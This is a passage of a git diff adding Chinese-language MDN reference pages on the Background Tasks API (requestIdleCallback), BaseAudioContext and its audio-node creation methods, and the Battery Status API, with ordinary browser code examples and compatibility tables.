接着,我们调用 {{domxref("WindowTimers.setTimeout", "setTimeout()")}},并给它传一个函数,在这个函数里,我们传给requestIdleCallback()的具体实现的回调会得以执行。这个回调会接收一个和{{domxref("IdleDeadline")}}相符合的object,此object的 {{domxref("IdleDeadline.didTimeout", "didTimeout")}}被设定为false,并拥有一个{{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 方法,用来给回调函数50毫秒的开始时间。每次调用timeRemaining(),它都会从开始的50毫秒中减去已逝去的时间,来确定还剩余的时间。

+ +

结果是,虽然我们的填充程序不会像真正的requestIdleCallback()将自己限制在当前事件循环传递中的空闲时间内,但它至少将每次传递的运行时间限制为不超过50毫秒。

+ +

我们{{domxref("Window.cancelIdleCallback", "cancelIdleCallback()")}}的具体实现要简单的多。

+ +
window.cancelIdleCallback = window.cancelIdleCallback || function(id) {
+  clearTimeout(id);
+}
+ +

如果cancelIdleCallback()没有定义,它将创建一个来简单地把指定回调ID传递给{{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}。

+ +

现在,尽管效率不高,你的代码也可以在不支持后台任务API的浏览器上运行了。

+ +

接口

+ +

后台任务API只添加了一个新的接口:

+ +
+
{{domxref("IdleDeadline")}}
+
这个类型的对象接口空闲回调以提供空闲时段的预估持续时长,以及回调是否因为定时时段过期使其正在运行当中。
+
+ +

这个API给 {{domxref("Window")}} 接口增加了新的 {{domxref("window.requestIdleCallback", "requestIdleCallback()")}} 和 {{domxref("window.cancelIdleCallback", "cancelIdleCallback()")}} 方法。

+ +

示例

+ +

在这个示例中,我们将了解我们怎么用{{domxref("window.requestIdleCallback", "requestIdleCallback()")}}来在浏览器空闲时运行高耗时、低优先级的任务。此外,这个示例会演示如何使用{{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}}安排文档内容的更新。

+ +

在下面,你只会看到示例的HTML和JavaScript。CSS没有展示出来,因为它对理解此功能并不关键。

+ +

HTML 内容

+ +

为了了解我们的目标,看一下HTML。这里创建了一个盒子 (ID "Container")来显示操作进度(因为毕竟我们没法知道解码“ 量子丝极谱发射 ”会用多长时间),还创建了一个次要的盒子 (ID "logBox")来展示文本输出。

+ +
<p>
+  演示使用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Background_Tasks_API">
+   协作调度幕后任务 </a> 使用 <code>requestIdleCallback()</code>
+  方法.
+</p>
+
+<div class="container">
+  <div class="label">解码量子丝极谱发射中...</div>
+  <progress id="progress" value="0"></progress>
+  <div class="button" id="startButton">
+    开始
+  </div>
+  <div class="label counter">
+    任务 <span id="currentTaskNumber">0</span> / <span id="totalTaskCount">0</span>
+  </div>
+</div>
+
+<div class="logBox">
+  <div class="logHeader">
+    记录
+  </div>
+  <div id="log">
+  </div>
+</div>
+ +

这个进度框用一个 {{HTMLElement("progress")}} 元素展示进度,随着它标签部分的变化,会呈现进度的数字信息。此外,这还有一个开始按钮(id为'startButton'),用户可以使用它开始数据处理。

+ + + +

JavaScript 内容

+ +

现在,已经定义了文档结构,再构造出JavaS代码就可以运行了。目标:可以向队列添加调用函数的请求,并具有一个空闲回调,空闲回调会在系统空闲且空闲时间足够长以取得进展时运行。

+ +

变量声明

+ +
let taskList = [];
+let totalTaskCount = 0;
+let currentTaskNumber = 0;
+let taskHandle = null;
+
+ +

这些变量用于管理等待执行的任务列表和任务队列和其执行的状态信息:

+ + + +
let totalTaskCountElem = document.getElementById("totalTaskCount");
+let currentTaskNumberElem = document.getElementById("currentTaskNumber");
+let progressBarElem = document.getElementById("progress");
+let startButtonElem = document.getElementById("startButton");
+let logElem = document.getElementById("log");
+
+ +

接下来我们有了引用要交互DOM元素的变量。这些元素是:

+ + + +
let logFragment = null;
+let statusRefreshScheduled = false;
+
+ +

最后,我们为其他项目设置一对变量:

+ + + + + +

管理任务队列

+ +

接下来,让我们来了解我们管理需要执行的任务的方式。为此,我们将创建一个先进先出(FIFO)的任务队列,在空闲回调期间,如果时间允许,我们将执行这个队列。

+ +
排队任务
+ +

首先,我们需要一个函数把任务排成队列,以便将来执行。这个函数enqueueTask(),就像这个:

+ +
function enqueueTask(taskHandler, taskData) {
+  taskList.push({
+    handler: taskHandler,
+    data: taskData
+  });
+
+  totalTaskCount++;
+
+  if (!taskHandle) {
+    taskHandle = requestIdleCallback(runTaskQueue, { timeout: 1000 });
+  }
+
+  scheduleStatusRefresh();
+}
+
+ +

enqueueTask()接受两个参数作为参数

+ + + +

为了把任务排成队列,我们把一个对象(object)pushtaskList数组;此对象包含taskHandlertaskData的值(命名分别是handlerdata),然后体现我们队列里任务总数的totalTaskCount增加(我们不会在从队列中移除任务时减少totalTaskCount)。

+ +

接下来,我们来检查我们是否已经创建了一个空闲回调;如果taskHandle是0,那我们得知还没有空闲回调,所以我们调用{{domxref("Window.requestIdleCallback", "requestIdleCallback()")}}去创建一个。它被配置为调用一个叫runTaskQueue()的函数(我们随后会对其研究),它的timeout为1秒,因此,即使没有任何实际可用的空闲时间,它也至少会每秒运行一次。

+ +
执行任务
+ +

我们的空闲回调处理方法,runTaskQueue(),将在浏览器确定有足够的可用空闲时间让我们做一些我们的工作时,或者1秒的timeout到期时被调用。这个方法的作用是执行队列中的任务。

+ +
function runTaskQueue(deadline) {
+  while ((deadline.timeRemaining() > 0 || deadline.didTimeout) && taskList.length) {
+    let task = taskList.shift();
+    currentTaskNumber++;
+
+    task.handler(task.data);
+    scheduleStatusRefresh();
+  }
+
+  if (taskList.length) {
+    taskHandle = requestIdleCallback(runTaskQueue, { timeout: 1000} );
+  } else {
+    taskHandle = 0;
+  }
+}
+
+ +

runTaskQueue()的核心是一个循环,只要有剩余时间(通过检查{{domxref("deadline.timeRemaining", "IdleDeadline.timeRemaining")}}来确认它大于0),或者已经达到了timeout期限({{domxref("IdleDeadline.didTimeout", "deadline.didTimeout")}}值为真),且任务列表中有任务就会一直持续。

+ +

对队列中每个我们有时间执行的任务,我们做以下操作:

+ +
    +
  1. 我们 把任务对象(object)从队列中移除
  2. +
  3. 我们让currentTaskNumber增加来追踪我们已执行的任务数量。
  4. +
  5. 我们调用任务处理方法,task.handler,并任务的数据对象(task.data)传入其中。
  6. +
  7. 我们调用一个方法,scheduleStatusRefresh(),去处理调度一个屏幕更新来体现我们进度的变化。
  8. +
+ +

当时间耗尽,如果列表里还有任务,我们再次调用{{domxref("Window.requestIdleCallback", "requestIdleCallback()")}}使我们可以在下次有可用空闲时间时继续运行这些任务。如果队列是空的,我们将把taskHandle设置为0来表示我们没有回调日程了。这样,下一次enqueueTask()被调用时,我们就知道要请求一个回调了。

+ +

更新状态显示

+ +

我们想要能够做的一件事是根据记录输出和进度信息来更新文档。然后在空闲回调中改变DOM是不安全的。作为替代,我们使用 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}} 来让浏览器在可以安全地更新显示时通知我们。

+ +
安排显示的更新
+ +

调用scheduleStatusRefresh()函数来安排DOM的改变。

+ +
function scheduleStatusRefresh() {
+    if (!statusRefreshScheduled) {
+      requestAnimationFrame(updateDisplay);
+      statusRefreshScheduled = true;
+  }
+}
+
+ +

这是一个简单的函数。它检查statusRefreshScheduled的值来得知我们是否已经安排了一个显示更新。如果值为false,我们调用{{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}来安排一个更新,也就是提供一个updateDisplay()函数以被调用去处理那个工作。

+ +
更新显示
+ +

updateDisplay()函数负责绘制进度框的内容和记录。当DOM的状况安全,我们可以在下次渲染过程中申请改变时,浏览器会调用它。

+ +
function updateDisplay() {
+  let scrolledToEnd = logElem.scrollHeight - logElem.clientHeight <= logElem.scrollTop + 1;
+
+  if (totalTaskCount) {
+    if (progressBarElem.max != totalTaskCount) {
+      totalTaskCountElem.textContent = totalTaskCount;
+      progressBarElem.max = totalTaskCount;
+    }
+
+    if (progressBarElem.value != currentTaskNumber) {
+      currentTaskNumberElem.textContent = currentTaskNumber;
+      progressBarElem.value = currentTaskNumber;
+    }
+  }
+
+  if (logFragment) {
+    logElem.appendChild(logFragment);
+    logFragment = null;
+  }
+
+  if (scrolledToEnd) {
+      logElem.scrollTop = logElem.scrollHeight - logElem.clientHeight;
+  }
+
+  statusRefreshScheduled = false;
+}
+ +

首先,在记录被滚动到底的时候scrolledToEnd会被设置为true,否则被设置为false。我们用它来决定,我们是否必须要更新滚动位置来确保我们在给记录添加内容的动作结束后,记录停留在末尾。

+ +

接下来,如果有任务进入队列中,我们更新进度和状态信息。

+ +
    +
  1. 如果进度条当前的最大值不同于队列中当前的任务总数(totalTaskCount),我们就要更新任务总数(totalTaskCountElem)的显示内容和进度条的最大值,以使它的比例正确。
  2. +
  3. 我们对已运行的任务数做同样的操作;如果progressBarElem.value不同于当前正被处理的任务数(currentTaskNumber),我们就要更新当前运行的程序数量值和进度条当前值的显示。
  4. +
+ +

然后,如果有文本等待被添加到记录中(也就是说,logFragment不为null),我们使用{{domxref("Node.appendChild", "Element.appendChild()")}}将它添加到记录元素中,并将logFragment设置为以避免重复操作。

+ +

如果我们操作开始的时候记录被滚动到末尾,我们要确保它一直处理末尾的位置。然后我们将statusRefreshScheduled设置为false,以表明我们已经处理过更新,可以安全地请求新的更新了。

+ +

向记录添加文本

+ +

log()函数可以向记录中添加指定的文本。因为我们不知道调用log()的时候是否可以立即安全地联系DOM,我们将缓存记录文本一直到可以安全更新。在上面,在updateDisplay()的代码中,你可以找到更新动画帧时,实际添加记录的代码。

+ +
function log(text) {
+  if (!logFragment) {
+      logFragment = document.createDocumentFragment();
+  }
+
+  let el = document.createElement("div");
+  el.innerHTML = text;
+  logFragment.appendChild(el);
+}
+ +

首先,如果当前不存在一个名为logFragment {{domxref("DocumentFragment")}} 对象。 该元素是伪DOM,我们可以在其中插入元素,而无需立即更改主DOM本身。

+ +

然后我们创建一个新的元素, 并将其内容设置为与输入文本匹配。接下来我们向logFragment中的伪DOM末尾添加一个新的元素。logFragment将会累积记录条目直到下次因DOM改变而调用updateDisplay()的时候。

+ +

运行任务

+ +

现在,我们的任务管理和显示维护代码已经完成了,我们实际上可以开始设定完成工作的代码了

+ +

任务处理器

+ +

logTaskHandler(),将是我们用来作为任务处理器的函数,也是用作任务对象handler属性的值。它是一个简单的为每个任务向记录输出大量内容的函数。 在您自己的应用程序中,您可以将此代码替换为您希望在空闲时间执行的任何任务 。只要记住任何DOM变化都需要通过 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}} 处理。

+ +
function logTaskHandler(data) {
+  log("<strong>Running task #" + currentTaskNumber + "</strong>");
+
+  for (i=0; i<data.count; i+=1) {
+    log((i+1).toString() + ". " + data.text);
+  }
+}
+
+ +

主程序

+ +

当用户点击“开始”按钮,会触发所有操作,也会导致调用decodeTechnoStuff()函数。

+ + + +
function decodeTechnoStuff() {
+  totalTaskCount = 0;
+  currentTaskNumber = 0;
+  updateDisplay();
+
+  let n = getRandomIntInclusive(100, 200);
+
+  for (i=0; i<n; i++) {
+    let taskData = {
+      count: getRandomIntInclusive(75, 150),
+      text: "This text is from task number " + (i+1).toString() + " of " + n
+    };
+
+    enqueueTask(logTaskHandler, taskData);
+  }
+}
+
+document.getElementById("startButton").addEventListener("click", decodeTechnoStuff, false);
+ +

decodeTechnoStuff()开始执行时会将任务总数(到现在为止添加到队列中的任务数)清零,并随后调用updateDisplay()以重置显示为“没有任何事发生”的状态。

+ +

这个示例去创建一个随机数量(100到200之间)的任务。为此,我们使用{{jsxref("Math.random()")}}文档中作为示例提供的getRandomIntInclusive()以获得要创建的任务数。

+ +

随后我们开始一个循环以创建实际的任务。对于每个任务,我们创建一个对象,taskData,其中包含两个属性:

+ + + +

我们调用enqueueTask()来将每个任务排入队列,将logTaskHandler()传入作为处理函数,将taskData传入,待处理函数调用时传入其中。

+ +
+
+ +

结果

+ +

下面就是以上代码实际功能结果。试一下,在你的浏览器开发者工具中使用它,并把它融入自己的代码中体验一下。

+ +

{{ EmbedLiveSample('Example', 600, 700) }}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Background Tasks")}}{{Spec2("Background Tasks")}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Window.requestIdleCallback")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createconstantsource/index.html b/files/zh-cn/web/api/baseaudiocontext/createconstantsource/index.html new file mode 100644 index 0000000000..6bff3de1e9 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createconstantsource/index.html @@ -0,0 +1,110 @@ +--- +title: BaseAudioContext.createConstantSource() +slug: Web/API/BaseAudioContext/createConstantSource +translation_of: Web/API/BaseAudioContext/createConstantSource +--- +

{{APIRef("Web Audio API")}}

+ +

 createConstantSource() 是 {{domxref("BaseAudioContext")}} 接口的一个方法, 用于生成一个 {{domxref("ConstantSourceNode")}} 对象, 该对象是一个输出单信道(one-channel)音频信号的音频源,这些音频信号都拥有一个恒定的样本值。

+ +

Syntax

+ +
var constantSourceNode = AudioContext.createConstantSource()
+ +

Parameters

+ +

None.

+ +

Returns

+ +

A {{domxref('ConstantSourceNode')}} instance.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#dom-baseaudiocontext-createconstantsource','createConstantSource()')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(56.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatOpera(43)}}{{CompatUnknown}}
Implemented on AudioContext{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(56.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatOperaMobile(43)}}{{CompatUnknown}}{{CompatChrome(56.0)}}
Implemented on AudioContext{{CompatUnknown}}{{CompatVersionUnknown}}26.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
diff --git a/files/zh-cn/web/api/baseaudiocontext/createoscillator/index.html b/files/zh-cn/web/api/baseaudiocontext/createoscillator/index.html new file mode 100644 index 0000000000..3b992092cc --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createoscillator/index.html @@ -0,0 +1,64 @@ +--- +title: BaseAudioContext.createOscillator() +slug: Web/API/BaseAudioContext/createOscillator +translation_of: Web/API/BaseAudioContext/createOscillator +--- +

{{APIRef("Web Audio API")}}

+ +

{{domxref("BaseAudioContext")}}接口的createOscillator()方法创建一个{{domxref("OscillatorNode")}},它是一个表示周期性波形的源。 它基本上产生一个不变的音调。

+ +

Syntax

+ +
var oscillatorNode = audioCtx.createOscillator();
+ +

Returns

+ +

An {{domxref("OscillatorNode")}}.

+ +

Example

+ +

以下示例显示了用于创建振荡器节点的AudioContext的基本用法。 有关应用示例/信息,请查看我们的Violent Theremin demo(有关相关代码,请参阅see app.js); 另请参阅我们的OscillatorNode页面以获取更多信息。

+ +
// create web audio api context
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+// create Oscillator node
+var oscillator = audioCtx.createOscillator();
+
+oscillator.type = 'square';
+oscillator.frequency.setValueAtTime(3000, audioCtx.currentTime); // value in hertz
+oscillator.connect(audioCtx.destination);
+oscillator.start();
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#dom-baseaudiocontext-createoscillator', 'createOscillator')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
+
+ + +

{{Compat("api.BaseAudioContext.createOscillator")}}

+
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createperiodicwave/index.html b/files/zh-cn/web/api/baseaudiocontext/createperiodicwave/index.html new file mode 100644 index 0000000000..ae4d038165 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createperiodicwave/index.html @@ -0,0 +1,101 @@ +--- +title: BaseAudioContext.createPeriodicWave() +slug: Web/API/BaseAudioContext/createPeriodicWave +translation_of: Web/API/BaseAudioContext/createPeriodicWave +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("BaseAudioContext") }} 接口的 createPeriodicWave() 方法用于创建可对 {{ domxref("OscillatorNode") }} 输出进行整形的 {{domxref("PeriodicWave")}}(周期波)。

+
+ +

语法

+ +
var wave = AudioContext.createPeriodicWave(real, imag[, constraints]);
+ +

返回值

+ +

一个 {{domxref("PeriodicWave")}}.

+ +

参数

+ +
+
real
+
一系列余弦术语 (传统上的 A 项)。
+
imag
+
一系列正弦项 (传统上的 B 项)。
+
constraints {{optional_inline}}
+
一个字典对象,用于指定是否禁用规范化(如果没有指定,则默认启动规范化)。它有一个属性: +
    +
  • disableNormalization: 如果设置为 true,对周期波禁用规范化。默认值为 false.
  • +
+
+
+ +
+

如果使用规范化,生成波形的最大绝对峰值为1。

+
+ +

例子

+ +

下面的例子为 createPeriodicWave() 的简单用法,创建包含简单正弦波的 {{domxref("PeriodicWave")}} 对象。

+ +
var real = new Float32Array(2);
+var imag = new Float32Array(2);
+var ac = new AudioContext();
+var osc = ac.createOscillator();
+
+real[0] = 0;
+imag[0] = 0;
+real[1] = 1;
+imag[1] = 0;
+
+var wave = ac.createPeriodicWave(real, imag, {disableNormalization: true});
+
+osc.setPeriodicWave(wave);
+
+osc.connect(ac.destination);
+
+osc.start();
+osc.stop(2);
+ +

 

+ +

这之所以有用是因为根据定义仅包含基本音调的声音是正弦波。

+ +

这里,我们创建一个具有两个值的 PeriodicWave (周期波) 。第一个值是 DC(直流) 偏移,它是振荡器启动的值。0在这里是好的,因为我们想在 [-1.0; 1.0] 范围的中间开始曲线。

+ +

第二个值和后续值是正弦和余弦分量。你可以把它看做是傅里叶变换的结果,可以从时域值中获取频域值。这里,使用 createPeriodicWave(),你可以指定频率,浏览器会执行一个逆傅里叶变换,以获得振荡器的时域缓冲。这里,我们只在基础音上设置了一个全音量(1.0)的分量,所以我们得到一个正弦波。

+ +

傅里叶变换系数应该按升序给出 (例如. (a+bi)ei,(c+di)e2i,(f+gi)e3i\left(a+bi\right)e^{i} , \left(c+di\right)e^{2i} , \left(f+gi\right)e^{3i}    等.) 可以是正的或者是负的。一个简单的手动获取此类系数的方法是使用图形计算器,尽管这不是最好的。

+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#dom-baseaudiocontext-createperiodicwave', 'createPeriodicWave')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.BaseAudioContext.createPeriodicWave")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/index.html b/files/zh-cn/web/api/baseaudiocontext/index.html new file mode 100644 index 0000000000..5d11d7fe82 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/index.html @@ -0,0 +1,292 @@ +--- +title: BaseAudioContext +slug: Web/API/BaseAudioContext +tags: + - API + - Audio + - BaseAudioContext + - Interface + - NeedsTranslation + - Reference + - TopicStub + - Web Audio API +translation_of: Web/API/BaseAudioContext +--- +
{{APIRef("Web Audio API")}}
+ +

The BaseAudioContext interface acts as a base definition for online and offline audio-processing graphs, as represented by {{domxref("AudioContext")}} and {{domxref("OfflineAudioContext")}} respectively. You wouldn't use BaseAudioContext directly — you'd use its features via one of these two inheriting interfaces.

+ +

A BaseAudioContext can be a target of events, therefore it implements the {{domxref("EventTarget")}} interface.

+ +

{{InheritanceDiagram}}

+ +

Properties

+ +
+
{{domxref("BaseAudioContext.audioWorklet")}} {{experimental_inline}} {{readonlyInline}}
+
Returns the {{domxref("AudioWorklet")}} object, used for creating custom AudioNodes with JavaScript processing.
+
{{domxref("BaseAudioContext.currentTime")}} {{readonlyInline}}
+
Returns a double representing an ever-increasing hardware time in seconds used for scheduling. It starts at 0.
+
{{domxref("BaseAudioContext.destination")}} {{readonlyInline}}
+
Returns an {{domxref("AudioDestinationNode")}} representing the final destination of all audio in the context. It can be thought of as the audio-rendering device.
+
{{domxref("BaseAudioContext.listener")}} {{readonlyInline}}
+
Returns the {{domxref("AudioListener")}} object, used for 3D spatialization.
+
{{domxref("BaseAudioContext.sampleRate")}} {{readonlyInline}}
+
Returns a float representing the sample rate (in samples per second) used by all nodes in this context. The sample-rate of an {{domxref("AudioContext")}} cannot be changed.
+
{{domxref("BaseAudioContext.state")}} {{readonlyInline}}
+
Returns the current state of the AudioContext.
+
+ +

Event handlers

+ +
+
{{domxref("BaseAudioContext.onstatechange")}}
+
An event handler that runs when an event of type {{event("statechange")}} has fired. This occurs when the AudioContext's state changes, due to the calling of one of the state change methods ({{domxref("AudioContext.suspend")}}, {{domxref("AudioContext.resume")}}, or {{domxref("AudioContext.close")}}).
+
+ +

Methods

+ +

Also implements methods from the interface {{domxref("EventTarget")}}.

+ +
+
{{domxref("BaseAudioContext.createBuffer()")}}
+
Creates a new, empty {{ domxref("AudioBuffer") }} object, which can then be populated by data and played via an {{ domxref("AudioBufferSourceNode") }}.
+
{{domxref("BaseAudioContext.createConstantSource()")}}
+
Creates a {{domxref("ConstantSourceNode")}} object, which is an audio source that continuously outputs a monaural (one-channel) sound signal whose samples all have the same value.
+
{{domxref("BaseAudioContext.createBufferSource()")}}
+
Creates an {{domxref("AudioBufferSourceNode")}}, which can be used to play and manipulate audio data contained within an {{ domxref("AudioBuffer") }} object. {{ domxref("AudioBuffer") }}s are created using {{domxref("AudioContext.createBuffer")}} or returned by {{domxref("AudioContext.decodeAudioData")}} when it successfully decodes an audio track.
+
{{domxref("BaseAudioContext.createScriptProcessor()")}}
+
Creates a {{domxref("ScriptProcessorNode")}}, which can be used for direct audio processing via JavaScript.
+
{{domxref("BaseAudioContext.createStereoPanner()")}}
+
Creates a {{domxref("StereoPannerNode")}}, which can be used to apply stereo panning to an audio source.
+
{{domxref("BaseAudioContext.createAnalyser()")}}
+
Creates an {{domxref("AnalyserNode")}}, which can be used to expose audio time and frequency data and for example to create data visualisations.
+
{{domxref("BaseAudioContext.createBiquadFilter()")}}
+
Creates a {{domxref("BiquadFilterNode")}}, which represents a second order filter configurable as several different common filter types: high-pass, low-pass, band-pass, etc.
+
{{domxref("BaseAudioContext.createChannelMerger()")}}
+
Creates a {{domxref("ChannelMergerNode")}}, which is used to combine channels from multiple audio streams into a single audio stream.
+
{{domxref("BaseAudioContext.createChannelSplitter()")}}
+
Creates a {{domxref("ChannelSplitterNode")}}, which is used to access the individual channels of an audio stream and process them separately.
+
{{domxref("BaseAudioContext.createConvolver()")}}
+
Creates a {{domxref("ConvolverNode")}}, which can be used to apply convolution effects to your audio graph, for example a reverberation effect.
+
{{domxref("BaseAudioContext.createDelay()")}}
+
Creates a {{domxref("DelayNode")}}, which is used to delay the incoming audio signal by a certain amount. This node is also useful to create feedback loops in a Web Audio API graph.
+
{{domxref("BaseAudioContext.createDynamicsCompressor()")}}
+
Creates a {{domxref("DynamicsCompressorNode")}}, which can be used to apply acoustic compression to an audio signal.
+
{{domxref("BaseAudioContext.createGain()")}}
+
Creates a {{domxref("GainNode")}}, which can be used to control the overall volume of the audio graph.
+
{{domxref("BaseAudioContext.createIIRFilter()")}}
+
Creates an {{domxref("IIRFilterNode")}}, which represents a second order filter configurable as several different common filter types.
+
{{domxref("BaseAudioContext.createOscillator()")}}
+
Creates an {{domxref("OscillatorNode")}}, a source representing a periodic waveform. It basically generates a tone.
+
{{domxref("BaseAudioContext.createPanner()")}}
+
Creates a {{domxref("PannerNode")}}, which is used to spatialise an incoming audio stream in 3D space.
+
{{domxref("BaseAudioContext.createPeriodicWave()")}}
+
Creates a {{domxref("PeriodicWave")}}, used to define a periodic waveform that can be used to determine the output of an {{ domxref("OscillatorNode") }}.
+
{{domxref("BaseAudioContext.createWaveShaper()")}}
+
Creates a {{domxref("WaveShaperNode")}}, which is used to implement non-linear distortion effects.
+
{{domxref("BaseAudioContext.decodeAudioData()")}}
+
Asynchronously decodes audio file data contained in an {{domxref("ArrayBuffer")}}. In this case, the ArrayBuffer is usually loaded from an {{domxref("XMLHttpRequest")}}'s response attribute after setting the responseType to arraybuffer. This method only works on complete files, not fragments of audio files.
+
{{domxref("BaseAudioContext.resume()")}}
+
Resumes the progression of time in an audio context that has previously been suspended/paused.
+
+ +

Examples

+ +

Basic audio context declaration:

+ +
var audioCtx = new AudioContext();
+ +

Cross browser variant:

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#BaseAudioContext', 'BaseAudioContext')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
baseLatency{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
createConstantSource(){{CompatChrome(56)}}{{CompatNo}}{{CompatGeckoDesktop(52)}}{{CompatNo}}{{CompatOpera(43)}}{{CompatNo}}
createStereoPanner(){{CompatChrome(42)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(37.0)}} {{CompatNo}}{{CompatNo}}{{CompatNo}}
onstatechange, state, suspend(), resume(){{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(40.0)}}{{CompatNo}}{{CompatNo}}{{CompatSafari(8.0)}}
Unprefixed{{CompatVersionUnknown}}{{CompatVersionUnknown}}    
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}2.2{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
baseLatency{{CompatChrome(60)}}{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
createConstantSource(){{CompatChrome(56)}}{{CompatChrome(56)}}{{CompatNo}}{{CompatGeckoMobile(52)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
createStereoPanner(){{CompatChrome(42)}}{{CompatChrome(42)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
onstatechange, state, suspend(), resume(){{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Unprefixed{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(43)}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/battery_status_api/index.html b/files/zh-cn/web/api/battery_status_api/index.html new file mode 100644 index 0000000000..e436c0d16f --- /dev/null +++ b/files/zh-cn/web/api/battery_status_api/index.html @@ -0,0 +1,77 @@ +--- +title: Battery Status API +slug: Web/API/Battery_Status_API +tags: + - API + - 电池 + - 电池 API + - 电池状态 API +translation_of: Web/API/Battery_Status_API +--- +

{{DefaultAPISidebar("Battery API")}}

+ +

Battery Status API,更多时候被称之为 Battery API, 提供了有关系统充电级别的信息并提供了通过电池等级或者充电状态的改变提醒用户的事件。 这个可以在设备电量低的时候调整应用的资源使用状态,或者在电池用尽前保存应用中的修改以防数据丢失。

+ +

Battery Status API 向 {{domxref("window.navigator")}} 扩展了一个 {{domxref("navigator.getBattery")}} 方法,其返回了一个battery promise, 完成后传递一个 {{domxref("BatteryManager")}} 对象,并提供了一些新的可以操作电池状态的事件。

+ +

例子

+ +

在这个例子中,我们同时监听放电状态和电池等级和剩余事件的事件(不论是否正在充电还是在使用电池)。这可以通过监听 {{event("chargingchange")}}, {{event("levelchange")}}, {{event("chargingtimechange")}}, {{event("dischargingtimechange")}} 事件完成。

+ +
navigator.getBattery().then(function(battery) {
+
+  console.log("Battery charging? " + (battery.charging ? "Yes" : "No"));
+  console.log("Battery level: " + battery.level * 100 + "%");
+  console.log("Battery charging time: " + battery.chargingTime + " seconds");
+  console.log("Battery discharging time: " + battery.dischargingTime + " seconds");
+
+  battery.addEventListener('chargingchange', function() {
+    console.log("Battery charging? " + (battery.charging ? "Yes" : "No"));
+  });
+
+  battery.addEventListener('levelchange', function() {
+    console.log("Battery level: " + battery.level * 100 + "%");
+  });
+
+  battery.addEventListener('chargingtimechange', function() {
+    console.log("Battery charging time: " + battery.chargingTime + " seconds");
+  });
+
+  battery.addEventListener('dischargingtimechange', function() {
